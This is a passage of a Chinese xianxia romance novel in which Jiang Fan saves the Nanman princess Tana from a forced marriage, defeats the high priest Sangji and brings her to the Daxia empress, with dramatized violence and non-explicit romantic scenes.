“还在想那个大夏的江凡?他如今是大夏帝君,身边美女如云,何曾记得你这个异国公主?你为他做那些事,值得吗?他可能连你是谁都忘了!”
塔娜眼中瞬间蒙上一层水雾,却倔强地没有让它流下。
她摇了摇头,声音平静:
“父王,你不懂。我做那些,从未想过要他记得,要他还。我只是…不想他出事。哪怕他永远不知道,哪怕他心中从未有过我,哪怕…他早已忘了我。只要他好好的,便值得。”
她顿了顿,目光望向窗外漆黑的夜空,声音如同梦呓:
“我早就…是他的人了。心是他的,命也是他的。如今这条命,父王既要收回去,拿去平息武神殿的怒火,拿去换取所谓的国运,那便拿去吧。只求父王,给儿臣一个痛快,莫要让儿臣…受那等**而死。”
“你、你胡说什么!”
蒙丹被她这番‘早就他的人’的言语惊得后退一步,随即怒不可遏,
“不知廉耻!你、你竟然…难怪!难怪你如此执迷不悟!”
他气得胸口起伏,扬起手,似乎想给这个冥顽不灵的女儿一巴掌。
塔娜却仰起脸,毫无惧色地看着他,眼中只有一片死寂与解脱:
“打吧,或者,直接杀了我。反正都是死,为何非要我穿上这身嫁衣,去受那老怪物的**折磨,然后变成一具冰冷的尸体被送回来?父王,您就真的一点…父女之情都不念了吗?”
蒙丹扬起的手僵在半空,看着女儿那双眼眸,心中某处似乎被刺了一下。
但想到武神殿的威压,想到大祭司的恐怖,想到南蛮岌岌可危的处境,那丝微弱的父女之情瞬间被淹没。
他放下手,冷哼一声:
“父女之情?塔娜,你享受公主尊荣时,可想过父女之情?你为了一己私情,置南蛮国运于不顾,得罪武神殿时,可想过父女之情?
如今,你的任性妄为,需要整个南蛮,需要为父来承担后果!大祭司和武神殿,我们得罪不起!
只有紧跟武神殿,南蛮才有生存下去的希望!大夏?哼,等武神殿真正的高手腾出手来,弹指可灭!”
他越说越是激动,仿佛在说服自己:
“明日,你必须嫁!这是王命,也是你作为南蛮公
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主最后的责任!侍女,伺候公主更衣!若敢不从,绑也要绑过去!”
“哈哈哈哈……”
塔娜忽然笑了起来,笑声凄厉而悲凉,在寂静的竹楼中回荡,令人毛骨悚然。
笑着笑着,眼泪终于决堤而出。
“责任…国运…好,好一个南蛮公主的责任!”
她止住笑,眼中最后一丝光亮也彻底熄灭,猛地从袖中抽出一把**,毫不犹豫地抵在了自己脖颈上,锋利的刀刃瞬间划破肌肤,渗出一丝殷红。
“公主!”
“不要!”
侍女们吓得失声尖叫,手中的托盘‘哗啦’掉了一地。
蒙丹也脸色剧变,厉声喝道:
“塔娜!你做什么!把刀放下!”
塔娜握着**的手稳如磐石,目光冰冷地看着她的父亲,声音平静得可怕:
“父王,你怕了?你不是要我死吗?我自己动手,不是更干净?也省了明日送亲的麻烦。只是…”
她嘴角勾起一抹惨然的笑,
“我若就这样**,明日你拿什么向大祭司交代?向武神殿交代?你的国运,你的野心,岂不是都要落空?”
蒙丹被她的话噎住,脸色一阵青一阵白,眼中充满了惊怒与恐慌。
他确实需要塔娜活着送到大祭司那里,否则无法交代,武神殿的怒火他更承受不起!
“塔娜,你别冲动!有话好好说!先把刀放下!”
蒙丹声音软了下来,带着诱哄与急切,
“父王…父王也是迫不得已!只要你乖乖嫁过去,大祭司或许会怜惜你,武神殿那边,父王也会尽力斡旋…”
“够了!”
塔娜厉声打断他,泪水汹涌而下,声音却十分决绝,
“这条命,我还给你!从此以后,你我父女之情,恩断义绝!我塔娜,生不是南蛮人,死亦不做南蛮鬼!”
话音未落,她握紧**,就要狠狠划下!
“住手!!”
一声蕴含着滔**意与心疼的厉喝,骤然在房间内炸响!
声音未落,一道鬼魅般的身影已出现在塔娜身侧,一只稳定有力的大手扣住了她握刀的手腕,另一只手则轻轻一带,将她紧紧护在了身后。
江凡,终于再也忍不住,现身了!
第270章 也心甘情愿
江凡的突然出现,让房间内一片死寂。
侍女们吓得瘫软在地,手中的托盘、嫁衣散落一地。
南蛮国王——蒙丹,这位统治南疆数十年、以勇武和刚愎著称的王者,此刻也瞪大了眼睛看着这个突然出现的玄衣青年。
当江凡撤去伪装,露出真容时,蒙丹国王瞳孔骤然收缩,脱口而出,声音带着惊疑与恐惧:
“你…你是大夏镇国公世子江凡?那个…能斩杀陆地神仙的‘逍遥公子’?”
江凡没有理会蒙丹,他所有的注意力都在怀中颤抖的女子身上。
他低头,看着塔娜苍白瘦削的小脸,看着她那双因震惊、怀疑、狂喜而睁大的眸子,心中涌起无尽的怜惜与歉疚。
他收紧手臂,将她的身子更紧地拥住,声音柔和的说道:
“是我,塔娜。对不起,我来晚了。”
这熟悉的声音,这温暖的怀抱,这近在咫尺的、无数次在梦中出现的容颜…不是幻觉!
塔娜颤抖的手指轻轻抚上江凡的脸颊,触感温热而真实。
狂喜瞬间冲垮了她的绝望与死寂,泪水再次决堤,但这一次,是充满生机的泪水。
“世子…真的是你?你怎么会…怎么会在这里?”
她声音哽咽,语无伦次,
“你现在是名震天下的逍遥公子,是大夏女帝的夫君,是尊贵无比的帝君…怎么会…怎么会来救我这样一个…无足轻重的异国公主?”
自卑与惊喜交织,让她几乎无法思考。
“傻瓜,”江凡抬手,轻轻擦去她的泪水,
“你不是无足轻重。你为我做的一切,我都知道了。你很勇敢,塔娜,比我想象的还要勇敢。现在,我只问你一句话——”
他稍稍退开一些,郑重问道:
“塔娜,你愿意跟我走吗?离开南疆,离开这座囚笼,跟我回大夏。从此以后,你的喜怒哀乐,你的安危冷暖,都由我来负责。你,愿意吗?”
没有承诺,没有甜言蜜语,只有最直接的选择和最重的责任。
但这简单的话语,却比任何山盟海誓都更让塔娜心醉神迷。
她几乎没有丝毫犹豫,用力地点头,声音无比坚定:
“愿意!我愿意!世子,带我走!天涯海角,刀山火海,塔娜都跟你去!”
这一刻,她仿佛重新活了过来,眼中燃起了璀璨的光。
那光名为希望,名为爱恋,名为新生。
“好。”江凡笑了。
他牵起塔娜的手,十指紧扣,然后,才缓缓转过身,面向蒙丹国王。
“江凡!就算你是逍遥公子,是大夏帝君,这里也是我南蛮王宫!塔娜是我的女儿,南蛮的公主!你无权擅自带走她!”
蒙丹强作镇定,色厉内荏地喝道,搬出了父权与国威,试图挽回最后一丝颜面与利益,
“你可知此举意味着什么?你不仅公然挑衅我南蛮,更是与武神殿为敌!与大祭司为敌!为了一个女人,值得吗?!”
“值得。”
江凡的回答简短有力,没有丝毫犹豫。
他目光平静地扫过蒙丹,语气带着嘲讽与睥睨:
“大祭司?武神殿?呵,在我眼中,不过土鸡瓦狗,插标卖首之辈。”
他顿了顿,向前踏出一步。
仅仅一步,陆地神仙初期的恐怖威压轰然降临,笼罩整个房间。
蒙丹和他身后的几名护卫顿时如陷泥沼,呼吸困难,几名修为稍弱的侍女更是直接晕了过去。
“蒙丹,看在塔娜的份上,我不杀你。”江凡声音冰冷,
“你不是倚仗大祭司和武神殿吗?我给你机会。现在,滚出去,把你的靠山都叫来。我就在这儿等着。明日一早,日出之时,我带塔娜离开。若有人阻拦——”
他眼中寒光一闪,屈指一弹,一道气劲‘嗤’地射出,擦着蒙丹的耳畔掠过,击穿了他身后厚重的楠木立柱,留下一个前后透亮的孔洞!
“——这便是下场。”
蒙丹只觉得耳畔一凉,几缕断发飘落,身后那坚硬的立柱被洞穿的景象更是让他肝胆俱裂!
这可是能抵御宗师全力一击的百年铁木!
在对方指下,竟如此脆弱!
这就是能斩杀陆地神仙的力量吗?
巨大的恐惧瞬间淹没了愤怒与不
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甘。
蒙丹再不敢多说半句狠话,甚至连看都不敢再看江凡和塔娜一眼,在护卫的搀扶下冲出了房间,背影狼狈不堪。
他要立刻去通知大祭司,通知武神殿在澜沧城的联络人!
这个煞星,必须由更厉害的人来对付!
随着蒙丹等人的逃离,房间内顿时安静下来,只剩下江凡和塔娜,以及一地狼藉。
门**凡随手一挥,无形劲气带上,隔绝了外界的喧嚣与潜在的危险。
塔娜一直紧紧抓着江凡的手,直到此刻,紧绷的神经才彻底松懈,身体一软,几乎要瘫倒。
江凡连忙扶住她,将她带到床边坐下。
“世子…我、我不是在做梦吧?”
塔娜依偎在他怀中,仰起脸,痴痴地望着他。
“不是梦,是真的,你把这颗丹药吃了。”
江凡说着拿出一颗丹药喂进塔娜嘴里,并且握住她的手,温热的真元缓缓渡入她体内。
丹药的效果开始显现,塔娜苍白的脸上恢复了些许血色。
“这一晚上,也是给你最后思考的时间。”江凡看着她,目光认真,
“塔娜,跟我走,便意味着你要放弃南疆公主的身份,远离故土,甚至可能一生都无法再回来。
也意味着…你可能无法得到正妻的名分。璇月是女帝,是大夏国母,我还有婉如…”
他的话没说完,便被塔娜用行动打断了。
她忽然抬起手臂环住他的脖颈,踮起脚尖,将自己温软而颤抖的唇,印上江凡的嘴。
这个吻,生涩,却带着不顾一切的炽热与决绝。
江凡身体微微一僵,随即放松下来,温柔地回应着,安抚着她激动不安的心。
良久,唇分。
塔娜脸颊绯红,呼吸微促,眼中却闪烁着坚定的光芒,她直视着江凡的眼睛:
“世子,不用思考了。从你在河边…看了我身子的那一刻起,我塔娜这辈子,就认定你了。名分?地位?故土?
这些跟我想要的你相比,一文不值!我只要在你身边,哪怕只是远远看着你,为你泡一杯茶,缝一件衣,也心甘情愿!”
第271章 狂妄的小子
塔娜顿了顿,脸上红晕更甚,却鼓起勇气低声道:
“至于正妻…我才不在乎那些虚名。只要世子心里…有塔娜一个小小的位置,就够了。而且…”
她忽然狡黠一笑,双臂用力猛地向上一跳,双腿紧紧缠住了江凡的腰身,整个人挂在了他身上,再次吻了上去,含糊而霸道地说道:
“世子…我今晚,就要真正成为你的女人…你要对我负责到底…”
温香软玉在怀,热情如火,又是如此深情义重的女子,江凡即便心志坚定,此刻也难以把持。
他搂住她纤细的腰肢,声音沙哑:
“塔娜,你现在身子虚,等调养好…”
“不要等!”
塔娜在他唇间喘息,眼神迷离而执着,双手不安分地扯着他的衣襟,
“世子…不要拒绝我…我怕这又是一场梦…我要真实地感觉到你…占有我…让我知道,我真的属于你了…”
她的热情与不安,彻底点燃了江凡心中的火焰。
他不再犹豫,抱着她,大步走向房间的竹榻。
衣衫层层散落,烛火摇曳,在墙壁上投下暖昧的光影。
塔娜虽然清瘦了些,但南疆女子特有的矫健与活力依旧在她身上展现无遗。
她羞涩却又大胆地迎接着他,将最真实的自己毫无保留地呈现。
“世子…”
她轻唤,眼中水光盈盈。
“我在。”
江凡吻去她眼角的泪,动作极尽温柔。
然而,就在两人情浓意切,即将彻底融为一体,共赴巫山云雨之际——
“轰隆!!!”
一声爆响传来,整栋竹楼都剧烈地震颤了一下!
狂暴的气浪甚至穿透了竹墙,吹得室内烛火疯狂摇曳,几欲熄灭!
“塔娜!还有那个不知死活的中原小子!给本座滚出来受死!!!”
沙哑、苍老的厉喝,裹挟着滔天的邪气与杀意,瞬间笼罩了整片竹林区域!
正是南蛮大祭司,桑吉!
塔娜被这突如其来的巨响和那熟悉的声音吓得浑身一颤,下意识地紧紧抱住了江凡,眼中闪过惊惧:
“世子!是…是大祭司!他来了!他…他早就投靠了武神殿,修炼邪功,据说随时可能突破到陆地神仙!我们…”
“别怕。”
江凡的动作停了下来,他迅速扯过旁边的锦被,将塔娜的娇躯严严实实地裹好,自己则飞快地披上外袍,动作从容不迫。
他俯身在塔娜额头上落下一吻,眼中没有丝毫慌乱,只有一片杀意与绝对的自信。
“一个靠着邪术和武神殿施舍、半只脚踏进棺材的老怪物,也配称陆地神仙?就算他真是陆地神仙,今天敢来扰我好事,也得把命留下。”
他的语气平淡,却带着一种睥睨天下、掌控生死的绝对霸气。
塔娜看着他冷静的脸,感受着他身上令人无比安心的磅礴气息,心中的恐惧瞬间消散了大半,化为更深的迷恋与信赖。
她用力点头,小声叮嘱:
“世子,小心他的蛊毒和巫咒,很诡异。”
“放心。”
江凡对她微微一笑,整理好衣襟,转身,大步走向房门。
吱呀——
房门**凡随手拉开。
门外,景象颇为‘壮观’。
以蒙丹国王为首,他脸色铁青地站在一旁,眼中既有对江凡的恐惧,也有对大祭司的忌惮。
而他身前,则站着一个身形佝偻、披着五彩肮脏巫袍、手持一根镶嵌着骷髅头的怪异木杖、脸上布满诡异刺青和深深皱纹的老者——正是大祭司桑吉。
他周身缭绕着灰黑色的雾气,散发出腥臭与阴冷气息,一双浑浊的眼睛此刻正闪烁着邪异的光芒,死死盯着江凡。
在桑吉身后和两侧,还站着七八名气息不弱的南蛮高手,最低也是宗师境界,其中更有三名大宗师,显然是王宫供奉和大祭司的心腹。
这些人皆是一脸狞笑或凝重,将竹楼出口围得水泄不通。
“呵,”江凡目光淡淡扫过众人,嘴角勾起一抹嘲讽,
“就带了这么点歪瓜裂枣?蒙丹,大祭司,你们是不是太看不起我江某了?”
蒙丹脸色更加难看,强撑着喝道:
“江凡!现在离开,交出塔娜,本
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王国你擅闯王宫、挟持公主之罪,还可留你一条生路!否则,大祭司神威之下,定叫你死无葬身之地!
这里是我南蛮,不是你能撒野的地方!塔娜是我女儿,她的婚事,还轮不到你一个外人插手!”
“外人?”
江凡嗤笑一声,目光骤然转冷,锁定了蒙丹,
“塔娜现在是我的女人。我的女人,我想带走便带走。谁敢动她一根头发,伤她一分一毫——”
他上前一步,周身陆地神仙的恐怖威压轰然爆发,向着前方众人碾压而去!
“——我便让他,后悔来到这个世上!”
“噗通!噗通!”
除了大祭司桑吉勉强还能站立,只是身形晃动、脸色发白外。
蒙丹和那七八名高手齐齐闷哼一声,控制不住地连连后退,更有两名宗师直接双腿一软,跪倒在地,七窍渗出鲜血,已然受了内伤!
仅仅威压,便恐怖如斯!
蒙丹吓得魂飞魄散,再不敢多说半句。
“好!好一个狂妄的小子!”
大祭司桑吉浑浊的眼睛死死盯着江凡,眼中贪婪之色更浓,还夹杂着一丝震惊。
他确实没想到江凡如此年轻,修为竟已深不可测至此!
但塔娜是他寻觅多年、体质最为契合的‘炉鼎’,是他突破陆地神仙、延寿续命的最大希望,岂能轻易放弃?
更何况,此子身上气息纯净磅礴,若是能将其炼化吞噬…
贪婪压过了惊惧,桑吉狞笑一声,手中骷髅木杖重重一顿地面:
“既然你找死,本座便成全你!能死在本座‘万蛊噬心咒’下,也是你的造化!”
话音未落,他猛地张开干瘪的嘴巴,一股浓郁的毒雾喷涌而出,毒雾之中,无数细若微尘的蛊虫虚影嘶鸣,朝着江凡疯狂涌去!
同时,他手中木杖顶端的骷髅头眼眶中,骤然亮起两点鬼火,两道无形无质的诅咒波纹,后发先至,射向江凡眉心!
这正是他压箱底的邪术,毒雾腐蚀肉身真元,蛊虫吞噬生机,诅咒攻击神魂,三者齐发,便是同阶的极道宗师巅峰,也难逃一死!
第272章 我随时恭候
他自信,就算这江凡再强,猝不及防下,也要吃个大亏!
然而,他面对的,是已经真正踏入陆地神仙之境的江凡!
是经历过系统灌顶、根基扎实无比、对天地之力已有初步感应的绝世强者!
面对这足以让寻常高手闻风丧胆的邪恶攻击,江凡甚至连眼皮都没抬一下。
他只是随意地抬起右手,对着前方,轻轻一拂。
那汹涌而来的五彩毒雾,在距离江凡身前三尺之处,便骤然停滞、倒卷!
雾气中的蛊虫虚影发出凄厉的尖啸,瞬间湮灭消散!
那两道诅咒波纹,更是尚未触及江凡,便已无声无息地消弭于无形!
而江凡那看似随意的一拂,所带起的无形劲力,却后发先至,直接印在了满脸惊骇的大祭司桑吉的胸口!
“噗——!”
桑吉如遭雷击,干瘪的身躯猛地向后抛飞,口中鲜血狂喷,那鲜血竟也是诡异的五彩之色,腥臭扑鼻!
他手中的骷髅木杖‘咔嚓’一声断成数截,周身缭绕的灰黑邪气瞬间溃散!
更让他绝望的是,他清晰地感觉到,自己苦修近两百年、距离陆地神仙只差临门一脚的磅礴邪元,疯狂地从丹田破损处外泄,修为暴跌!
不过一息之间,他从高高在上的南蛮大祭司、极道宗师巅峰的强者,变成了一个气息奄奄、经脉尽碎、修为尽废的普通老者!
甚至比普通老者更不如,因为邪功反噬,他生命力也在急速流逝!
“不、不可能…你…你…”
桑吉瘫倒在数丈外的地上,勉强撑起上半身,眼中充满恐惧、怨毒与难以置信。
他死死瞪着江凡,嘶声道:
“你…你如此年轻怎么就修炼到陆地神仙的?”
这一瞬间,他心中充满挫败感,觉得自己这两百年都修炼到狗身上去了。
江凡没有回答,只是用看**般的目光,冷漠地瞥了他一眼,声音平淡:
“还有谁想送死?一起上,省得麻烦。”
无人敢动,无人敢应。
那些高手看着大祭司的惨状,只觉灵魂都在颤抖。
一招!
仅仅一招!
就废了纵横南疆百年、凶名赫赫的大祭司!
这哪里是人?
这是神!是魔!
不愧是逍遥公子,不愧是传闻能斩杀陆地神仙的绝世高手。
之前听到,还以为传闻被夸大了。
但亲眼所见,对他们的冲击力是极大的!
“咳咳…”
桑吉咳出几口带着内脏碎块的污血,眼神怨毒,死死盯着江凡,嘶声诅咒:
“江凡!你别得意!武神殿…武神殿现在只是暂时无暇顾及你!等他们找到要找的那个‘玄阴灵体’,完成大事…便是你的死期!
到时候,不仅是你,你身边的亲人,你的女人,统统都要死!武神殿的怒火,会将你们烧成灰烬!哈哈哈哈…”
“玄阴灵体?”
江凡心中一动,面色却更冷。
他身形一晃,瞬间出现在桑吉面前,单手扼住了他的喉咙,将他如同小鸡般提了起来,声音不带一丝情感:
“我最恨的,就是别人拿我身边的人威胁我。武神殿,也不例外。”
他手上微微用力,桑吉顿时眼球暴突,脸憋成了紫黑色,发出‘嗬嗬’的怪响。
“说,武神殿找的‘玄阴灵体’,到底是什么人?具体特征?为何寻找?把你知道的,都说出来。或许,我能给你一个痛快。”
江凡的声音带着不容拒绝的威严与杀意。
桑吉眼中闪过一丝恐惧,但更多的是一种扭曲的疯狂与报复的快意,他艰难地扯动嘴角,声音嘶哑断续:
“嘿…嘿嘿…想知道?我、我偏不告诉你!老夫已是废人…横竖一死…让你…让你永远活在猜疑和恐惧中…哈哈哈…武神殿…会为我报仇的…你和你的人…都不得好死…”
话音未落,他眼中厉色一闪,猛地咬碎了口中一直藏着的一颗蜡丸!
蜡丸破碎,一股黑气瞬间从他七窍中狂涌而出,他的身体以肉眼可见的速度干瘪、发黑、腐烂,散发出令人作呕的恶臭!
他竟然在最后时刻,以如此惨烈的方式,自绝而亡!
江凡眉头微皱,松手,桑吉的尸体重重摔落在地,迅速化为一滩黑水,连骨骼都未能留下。
好狠辣决绝的手段!
这大祭司对武神殿的恐惧,或者某种控制,竟如此之深!
江凡目光冰冷地扫过那滩黑水,然后转向早已吓得瘫
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软在地的蒙丹国王等人。
“告诉我,你们所知道的,关于武神殿寻找‘玄阴灵体’的一切。若有半句虚言,或敢隐瞒…”
江凡的目光如同实质的冰锥,刺在每个人心上,
“我不介意让这南蛮王宫,换一个主人。”
“说!我们说!”
一名年纪较大、修为在大宗师初期的南蛮供奉再也承受不住这恐怖的杀意与压力,连滚爬地向前,声音颤抖着说道:
“帝君饶命!我们…我们知道的真的不多!只隐约听大祭司提过,武神殿似乎在寻找一种万中无一的特殊体质,名为‘玄阴灵体’。
似乎…似乎关乎一个传说中的、能让人获得永恒力量或生命的惊天机缘!但具体这灵体有何特征,是男是女,身在何处,为何如此重要,大祭司也语焉不详。
只说这是武神殿最高机密,连他也只是奉命配合搜寻,若有线索立刻上报,不得深究…”
另一名供奉也战战兢兢地补充:
“好像…好像这灵体觉醒时,或情绪剧烈波动时,会有异象产生…但具体如何,我等实在不知啊!大祭司口风极严,又心狠手辣,我们不敢多问!”
看他们的样子,惊恐万状,不似作伪,确实就知道这么多皮**信息。
江凡沉默片刻。
玄阴灵体…永恒机缘…引动阴寒之气…这些信息碎片,让他心中疑窦丛生,隐隐觉得此事绝不简单。
但眼下线索太少,难以判断。
“滚吧。”
江凡挥了挥手,意兴阑珊。
杀这些蝼蚁,已无意义。
他声音陡然转厉,响彻夜空,清晰地传遍了小半个王宫:
“从今往后,南蛮若再敢犯我大夏边境,若再敢与武神殿勾结,与我江凡为敌,我不介意亲自走一趟,将这澜沧城,从地图上彻底抹去!”
“若武神殿不服,大可派人来寻我江凡!我随时恭候!但若他们再敢将主意打到我,或我身边任何一个人的头上——”
江凡眼中杀意冲天,周身气势轰然爆发,直冲云霄,搅动风云!
“——那便是不死不休!纵使他武神殿传承万载,高手如云,我江凡,也必倾尽全力,将其连根拔起,传承断绝,鸡犬不留!”
第273章 要勇敢面对
江凡这番杀气腾腾、霸气无双的宣言,狠狠砸在每一个南蛮人心中,也必将以最快的速度,传遍南疆,传向武神殿!
蒙丹国王面如死灰,心中最后一丝侥幸也彻底破灭,只剩下无边的恐惧与悔恨。
早知今日,何必当初!
若当初听了塔娜的劝,与大夏交好,何至于落到如今这般田地,得罪了两头都惹不起的庞然大物,里外不是人!
他再不敢有丝毫违逆,带着残存的手下,仓皇逃离了这片让他们噩梦连连的竹林。
待到众人散尽,夜色重归寂静。
江凡收敛气息,转身,走回竹楼,轻轻关上了房门。
房间内,烛火依旧。
塔娜裹着锦被坐在床边,见他进来,立刻扑进他怀中,双臂紧紧环住他的腰,仰起脸,眼中充满了崇拜、爱恋以及一种与有荣焉的骄傲。
“我的男人…果然是天底下最厉害的!”
她声音还有些发颤,却亮晶晶的,
“什么大祭司,什么武神殿,在你面前,都不堪一击!”
江凡搂着她,抚摸着她的长发,心中的杀意渐渐被温情取代。
他低头,看着怀中女子明媚动人的脸庞,轻声问道:
“塔娜,若我刚才…真的杀了你父王,甚至…灭了南蛮,你会怪我吗?”
塔娜身体微微一僵,随即毫不犹豫地摇头,将脸深深埋进他胸膛:
“不会。从他用我的命去换取武神殿的支持,从他将我推给那个老怪物,从他用父女之情逼我就范的那一刻起…我塔娜,就和南蛮,和他,再无情分可言了。
我的命,是你救的。我的人,是你的。我的心,也是你的。从今往后,我不是什么南蛮公主,我只是你的塔娜,你的女人。”
她抬起头,目光坚定,再次重复:
“所以,无论你做什么,塔娜都不会怪你。塔娜只愿,此生能常伴你左右,不离不弃。”
这番毫无保留的信任与深情,让江凡心中最后一丝顾虑也烟消云散。
他低头,深深地吻住了她。
这一次,再无人打扰。
衣衫再次滑落,锦帐轻摇,烛火噼啪。
压抑已久的热情与劫后余生的庆幸,化作了最炽烈的火焰,将两人彻底吞噬。
塔娜抛却了所有的羞涩与矜持,热情如火地回应着,索取着,仿佛要将自己彻底融入他的骨血之中。
江凡亦极尽温柔与缠绵,用最亲密的方式,安抚她受创的心灵,给予她最坚实的安全感与归属感。
(省略三千字...)
这一夜,竹楼春深,被翻红浪。
……
翌日,天光放亮,晨曦微露。
竹楼的门再次打开。
江凡依旧是一身玄衣,纤尘不染,神采奕奕。
他身侧,塔娜也换上了一身利落的南疆女子骑马装,将长发高高束成马尾。
虽然眉眼间还残留着一丝疲惫,但气色却红润了许多,眼中光彩照人,紧紧挽着江凡的手臂。
两人就这样,手牵着手,大摇大摆地走出了竹楼,穿过了昨夜一片狼藉的竹林,走向王宫正门。
沿途,所有的宫女、太监、侍卫,远远看到他们,无不面色惊恐,慌忙跪伏在地,头也不敢抬,更无人敢上前阻拦半分。
昨夜那惊天动地的动静,大祭司化为黑水的惨状,国王仓皇逃离的狼狈,以及江凡那响彻王宫的死亡宣告,早已传遍了王宫的每一个角落。
逍遥公子江凡,以一己之力,压得整个南蛮王宫抬不起头!
这是何等的威势?何等的霸道?
当两人穿过宫门,走到宫外大街时,早已得到消息、**在宫门外远处围观的澜沧城百姓,顿时爆发出一阵压抑不住的骚动和议论。
“看!是塔娜公主!她真的被带出来了!”
“那就是逍遥公子?好年轻!好俊!”
“听说他一招就废了活了两百年的大祭司!”
“国王陛下连屁都不敢放一个…”
“啧啧,早知道公主有如此厉害的意中人,国王当初还去舔什么武神殿和大祭司的脚?现在好了,两头不讨好!”
“活该!谁让他为了巴结外人,连亲生女儿都往火坑里推!”
“塔娜公主跟着
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逍遥公子,也算脱离苦海了…”
议论声中,有惊叹,有敬畏,有对国王的嘲讽,也有对塔娜的祝福。
江凡神色平静,仿佛周围的一切喧嚣都与他无关。
塔娜则微微扬起下巴,握紧了江凡的手,眼中再无对故国的一丝留恋,只有对新生活的向往与对身边人的全心依赖。
他要的,就是这般高调!
就是要让全天下都知道,塔娜是他江凡的女人,谁动,谁死!
这也是对武神殿,最直接的挑衅与回应!
直到走出澜沧城,来到城外空旷处,江凡才停下脚步。
他转过身,对塔娜微微一笑:
“抱紧我。”
塔娜依言,双手紧紧环住他的脖颈,整个人如同树袋熊般挂在他身上,眼中满是兴奋与期待。
江凡揽住她的腰肢,心念微动,磅礴的真元托起两人,缓缓升空。
在无数目光注视下,两人御风而起,化作一道流光,朝着大夏京城的方向,疾驰而去,很快便消失在天际。
澜沧城外,只留下无数仰望的脖颈,和一段注定将流传南疆乃至整个大陆的、关于逍遥公子为红颜一怒、只手压王宫的传奇。
也就半天时间,流光划破长空,稳稳落入大夏皇宫深处。
江凡揽着塔娜,轻飘飘落在一处僻静宫苑。
塔娜虽然性子泼辣,但即将见到女帝,心中不免有些忐忑。
江凡察觉到了她的紧张,握了握她的手,温声道:
“别担心,璇月并非苛刻之人。她知道你的事,也…理解。”
塔娜深吸一口气,用力点头。
既然选择了这条路,选择了这个男人,那无论前方是什么,她都要勇敢面对。
两人携手,走向御书房。
通报之后,殿门开启。
萧璇月手中拿着一卷奏折,闻声抬头看来。
她的目光先是落在江凡身上,见他无恙,眼中掠过一丝安心,随即才看向他身侧的塔娜。
塔娜松开江凡的手,上前两步,郑重地行了一个礼:
“南蛮…不,民女塔娜,拜见陛下。”
第274章 指名见江凡
萧璇月放下奏折,快步走到塔娜面前,在她尚未完全福下身时,便已伸手将她扶起,脸上露出温和而真诚的笑容:
“塔娜妹妹不必多礼。这里没有外人,更不必称陛下。一路辛苦,也受委屈了。以后便是自家姐妹,住在宫里,缺什么短什么,或是不习惯,尽管跟我说。”
她语气自然亲切,毫无帝王的架子,也看不出丝毫的芥蒂与勉强。
这份大度与亲和,让塔娜心中那点忐忑瞬间消散了大半,鼻子一酸,险些又落下泪来,连忙低头掩饰,声音有些哽咽:
“谢、谢陛下…不,谢姐姐。”
“这就对了。”
萧璇月笑着拍了拍她的手,又看向一旁含笑而立的江凡,眼中闪过一丝促狭,故意板起脸道:
“你还杵在那儿做什么?塔娜妹妹远来劳顿,还不快让人安排住处,准备热水热食,好生安置?”
江凡摸了摸鼻子,知道她是在打趣自己,连忙应道:
“是是是,夫人教训的是,为夫这就去办。”
说着,便要唤宫人。
“行了,云暮已经去安排了。”
萧璇月白了他一眼,拉着塔娜走到一旁的软榻坐下,亲自为她倒了杯热茶,
“就住离凤仪宫不远的‘漱玉轩’,清静雅致,也方便走动。妹妹先安心住下,休养几日,压压惊。其他的,以后再说。”
塔娜捧着温热的茶杯,感受着萧璇月真诚的关怀,心中暖流涌动,连连点头。
她原本做好了面对冷脸、刁难甚至羞辱的准备,却没想到会是这般情景。
这位女帝姐姐的气度与胸襟,让她由衷敬佩,也让她对未来的生活,生出了更多的期待与安心。
江凡看着两女相处融洽,心中一块大石落地,嘴角不由自主地勾起一抹傻笑,甚至开始幻想未来‘大被同眠’的幸福生活…
当然,这念头只是一闪而过,很快便被正事取代。
“月儿,北境那边,近日可有新的消息?我担心武神殿不敢直接动我,会对我父亲下手。”
江凡在另一侧坐下,神色微凝。
萧璇月也收起了玩笑之色,正色道:
“放心,我已以八百里加急传令镇北军,进入最高战备状态,并暗中加派了两名皇室供奉前往,都是大宗师修为,配合你父亲,足以应对一般情况。北莽新败,内部不稳,短时间内应无力再犯。不过…”
她凤眸中闪过一丝光芒,语气转冷:
“被动防守,终非长久之计。武神殿亡我之心不死,北莽、南蛮皆为其爪牙。依朕看,待国内整顿完毕,新军训练成型,粮草军械充足。
不如主动出击,一劳永逸,将北莽、南蛮彻底打服,乃至纳入版图!届时,武神殿失去这两处前沿跳板,再想搅动风云,也得掂量掂量!”
这已不是简单的防御,而是开疆拓土、永绝后患的雄心!
也只有萧璇月这般杀伐果决、胸怀天下的女帝,才敢有此魄力!
江凡听得眼中精光一闪,毫不犹豫地点头支持:
“我赞同!唯有自身足够强大,将威胁铲除于境外,才能换来真正的太平。届时,武神殿若再敢伸爪,便剁了它的爪子!月儿,你需要我做什么,尽管吩咐。”
“具体方略,还需与兵部、内阁详细商议。眼下,你先安抚好塔娜妹妹,也好好休息几日。南疆之事,辛苦你了。”
萧璇月对江凡柔声道,眼中带着心疼。
她知道他此行必是雷霆手段,看似风光,一路奔波也着实辛苦。
正事暂毕,气氛又轻松下来。
萧璇月又拉着塔娜说了会儿体己话,问了问南疆风土,也简单介绍了下宫中情况,尤其是提到了周婉如和江芷兰,让塔娜心里有数。
塔娜本就性格爽朗,见萧璇月如此亲和,也渐渐放开了些,有问有答,气氛融洽。
不多时,云暮进来禀报,漱玉轩已收拾妥当。
萧璇月便让云暮亲自送塔娜过去安顿休息。
塔娜离开后,御书房内只剩下江凡与萧璇月两人。
烛火摇曳,将两人的身影投在墙壁上,挨得极近。
江凡凑过去,从背后轻轻环住萧璇月的纤腰,低声道:
“月儿,谢谢你。谢谢你接纳塔娜,谢谢你为我,为大夏做的一切。”
萧璇月放松身体,
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靠进他怀中,握住他环在腰间的手,轻声哼道:
“知道朕辛苦,回来就安分些,好好在宫里待几日,让朕也偷偷懒。”
“为夫正有此意。”
江凡低笑,侧头在她颈侧落下一串吻,气息灼热,
“这几日哪儿也不去,就陪着我的女帝陛下,批阅奏折,红袖添香,顺便…好好补偿我的月儿。”
萧璇月耳根泛红,身子微微发软,她象征性地扭了扭,啐道:
“没正经…谁要你补偿…嗯…”
话音未落,已**凡转过身子,炽热的唇覆了上来,将未尽的话语尽数吞没。
萧璇月起初还推拒两下,随即便融化在他熟悉而令人安心的气息中,手臂环上他的脖颈,热烈地回应。
呼吸渐重,温度攀升。
萧璇月也意乱情迷,两人相拥着,跌跌撞撞朝着内殿那张宽大的软榻挪去。
衣衫半解,罗带轻分,就在这干柴烈火、一触即发的时刻——
“陛下!帝君!”
